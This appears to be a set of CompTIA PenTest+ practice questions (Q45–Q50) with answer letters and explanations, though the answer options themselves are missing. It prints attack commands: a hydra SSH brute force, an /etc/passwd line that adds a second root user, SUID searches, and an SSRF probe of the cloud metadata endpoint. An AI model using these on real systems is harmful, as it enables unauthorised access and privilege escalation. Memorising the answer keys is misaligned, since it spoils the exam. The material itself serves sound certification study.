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CompTIA PenTest+ Exam Sample Questions (Q45-Q50):
NEW QUESTION # 45
A penetration tester creates a list of target domains that require further enumeration. The tester writes the following script to perform vulnerability scanning across the domains:
line 1: #!/usr/bin/bash
line 2: DOMAINS_LIST = "/path/to/list.txt"
line 3: while read -r i; do
line 4: nikto -h $i -o scan-$i.txt &
line 5: done
The script does not work as intended. Which of the following should the tester do to fix the script?
Answer: B
Explanation:
The issue with the script lies in how the while loop reads the file containing the list of domains. The current script doesn't correctly redirect the file's content to the loop. Changing line 5 to done < "$DOMAINS_LIST" correctly directs the loop to read from the file.
Step-by-Step Explanation
* Original Script:
DOMAINS_LIST="/path/to/list.txt"
while read -r i; do
nikto -h $i -o scan-$i.txt &
done
* Identified Problem:
* The while read -r i; do loop needs to know which file to read lines from. Without redirecting the input file to the loop, it doesn't process any input.
* Solution:
* Add done < "$DOMAINS_LIST" to the end of the loop to specify the input source.
* Corrected script:
DOMAINS_LIST="/path/to/list.txt"
while read -r i; do
nikto -h $i -o scan-$i.txt &
done < "$DOMAINS_LIST"
* Explanation:
* done < "$DOMAINS_LIST" ensures that the while loop reads each line from DOMAINS_LIST.
* This fix makes the loop iterate over each domain in the list and run nikto against each.
* References from Pentesting Literature:
* Scripting a
NEW QUESTION # 46
SIMULATION
A previous penetration test report identified a host with vulnerabilities that was successfully exploited. Management has requested that an internal member of the security team reassess the host to determine if the vulnerability still exists.
Part 1:
. Analyze the output and select the command to exploit the vulnerable service.
Part 2:
. Analyze the output from each command.
* Select the appropriate set of commands to escalate privileges.
* Identify which remediation steps should be taken.
Answer:
Explanation:
The command that would most likely exploit the services is:
hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22
The appropriate set of commands to escalate privileges is:
echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd
The remediations that should be taken after the successful privilege escalation are:
Remove the SUID bit from cp.
Make backup script not world-writable.
Comprehensive Step-by-Step Explanation of the Simulation
Part 1: Exploiting Vulnerable Service
Nmap Scan Analysis
Command: nmap -sC -T4 192.168.10.2
Purpose: This command runs a default script scan with timing template 4 (aggressive).
Output:
bash
Copy code
Port State Service
22/tcp open ssh
23/tcp closed telnet
80/tcp open http
111/tcp closed rpcbind
445/tcp open samba
3389/tcp closed rdp
Ports open are SSH (22), HTTP (80), and Samba (445).
Enumerating Samba Shares
Command: enum4linux -S 192.168.10.2
Purpose: To enumerate Samba shares and users.
Output:
makefile
Copy code
user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba]
user:[proxy] rid:[0x42]
user:[syslog] rid:[0x4ba]
user:[www-data] rid:[0x42a]
user:[root] rid:[0x3e8]
user:[news] rid:[0x3fa]
user:[lowpriv] rid:[0x3fa]
We identify a user lowpriv.
Selecting Exploit Command
Hydra Command: hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22 Purpose: To perform a brute force attack on SSH using the lowpriv user and a list of the 500 worst passwords.
-l lowpriv: Specifies the username.
-P 500-worst-passwords.txt: Specifies the password list.
-t 4: Uses 4 tasks/threads for the attack.
ssh://192.168.10.2:22: Specifies the SSH service and port.
Executing the Hydra Command
Result: Successful login as lowpriv user if a match is found.
Part 2: Privilege Escalation and Remediation
Finding SUID Binaries and Configuration Files
Command: find / -perm -2 -type f 2>/dev/null | xargs ls -l
Purpose: To find world-writable files.
Command: find / -perm -u=s -type f 2>/dev/null | xargs ls -l
Purpose: To find files with SUID permission.
Command: grep "/bin/bash" /etc/passwd | cut -d':' -f1-4,6,7
Purpose: To identify users with bash shell access.
Selecting Privilege Escalation Command
Command: echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd Purpose: To create a new root user entry in the passwd file.
root2: Username.
5ZOYXRFHVZ7OY: Password hash.
::0:0: User and group ID (root).
/root: Home directory.
/bin/bash: Default shell.
Executing the Privilege Escalation Command
Result: Creation of a new root user root2 with a specified password.
Remediation Steps Post-Exploitation
Remove SUID Bit from cp:
Command: chmod u-s /bin/cp
Purpose: Removing the SUID bit from cp to prevent misuse.
Make Backup Script Not World-Writable:
Command: chmod o-w /path/to/backup/script
Purpose: Ensuring backup script is not writable by all users to prevent unauthorized modifications.
Execution and Verification
Verifying Hydra Attack:
Run the Hydra command and monitor for successful login attempts.
Verifying Privilege Escalation:
After appending the new root user to the passwd file, attempt to switch user to root2 and check root privileges.
Implementing Remediation:
Apply the remediation commands to secure the system and verify the changes have been implemented.
By following these detailed steps, one can replicate the simulation and ensure a thorough understanding of both the exploitation and the necessary remediations.
NEW QUESTION # 47
A penetration tester has found a web application that is running on a cloud virtual machine instance. Vulnerability scans show a potential SSRF for the same application URL path with an injectable parameter. Which of the following commands should the tester run to successfully test for secrets exposure exploitability?
Answer: C
Explanation:
In a cloud environment, testing for Server-Side Request Forgery (SSRF) vulnerabilities involves attempting to access metadata services.
Accessing Cloud Metadata Service:
URL: http://169.254.169.254/latest/meta-data/ is a well-known endpoint in cloud environments (e.g., AWS) to access instance metadata.
Purpose: By exploiting SSRF to access this URL, an attacker can retrieve sensitive information such as instance credentials and other metadata.
NEW QUESTION # 48
A penetration tester developed the following script to be used during an engagement:
#!/usr/bin/python
import socket, sys
ports = [21, 22, 23, 25, 80, 139, 443, 445, 3306, 3389]
if len(sys.argv) > 1:
target = socket.gethostbyname (sys. argv [0])
else:
print ("Few arguments.")
print ("Syntax: python {} <target ip>". format (sys. argv [0]))
sys.exit ()
try:
for port in ports:
s = socket. socket (socket. AF_INET, socket. SOCK_STREAM)
s.settimeout (2)
result = s.connect_ex ((target, port) )
if result == 0:
print ("Port {} is opened". format (port) )
except KeyboardInterrupt:
print (" Exiting ... ")
sys.exit ()
However, when the penetration tester ran the script, the tester received the following message:
socket.gaierror: [Errno -2] Name or service not known
Which of the following changes should the penetration tester implement to fix the script?
Answer: B
Explanation:
The socket.gaierror: [Errno -2] Name or service not known is an error that occurs when the socket module cannot resolve the hostname or IP address given as an argument. In this case, the script is using sys.argv[0] as the argument for socket.gethostbyname, which is the name of the script itself, not the target IP address. The target IP address should be the first command-line argument after the script name, which is sys.argv1.
Therefore, changing the script to use sys.argv1 as the argument for socket.gethostbyname will fix the error and allow the script to scan the ports of the target IP address. References:
*The Official CompTIA PenTest+ Study Guide (Exam PT0-002), Chapter 5: Attacks and Exploits, page
262-263.
*socket.gaierror: [Errno -2] Name or service not known | Python1
*How do I fix the error socket.gaierror: [Errno -2] Name or service not known on debian/testing?2
NEW QUESTION # 49
A penetration tester gives the following command to a systems administrator to execute on one of the target servers:
rm -f /var/www/html/G679h32gYu.php
Which of the following BEST explains why the penetration tester wants this command executed?
Answer: A
Explanation:
A web shell is a malicious script that allows remote access and control of a web server. A penetration tester may use a web shell to execute commands on the target server during a penetration test. However, after the test is completed, the penetration tester should remove the web shell to avoid leaving any traces or backdoors on the server. The command rm -f /var/www/html/G679h32gYu.php deletes the file G679h32gYu.php from the web server's document root directory, which is likely the location of the web shell. The other options are not plausible explanations for why the penetration tester wants this command executed.
NEW QUESTION # 50
......
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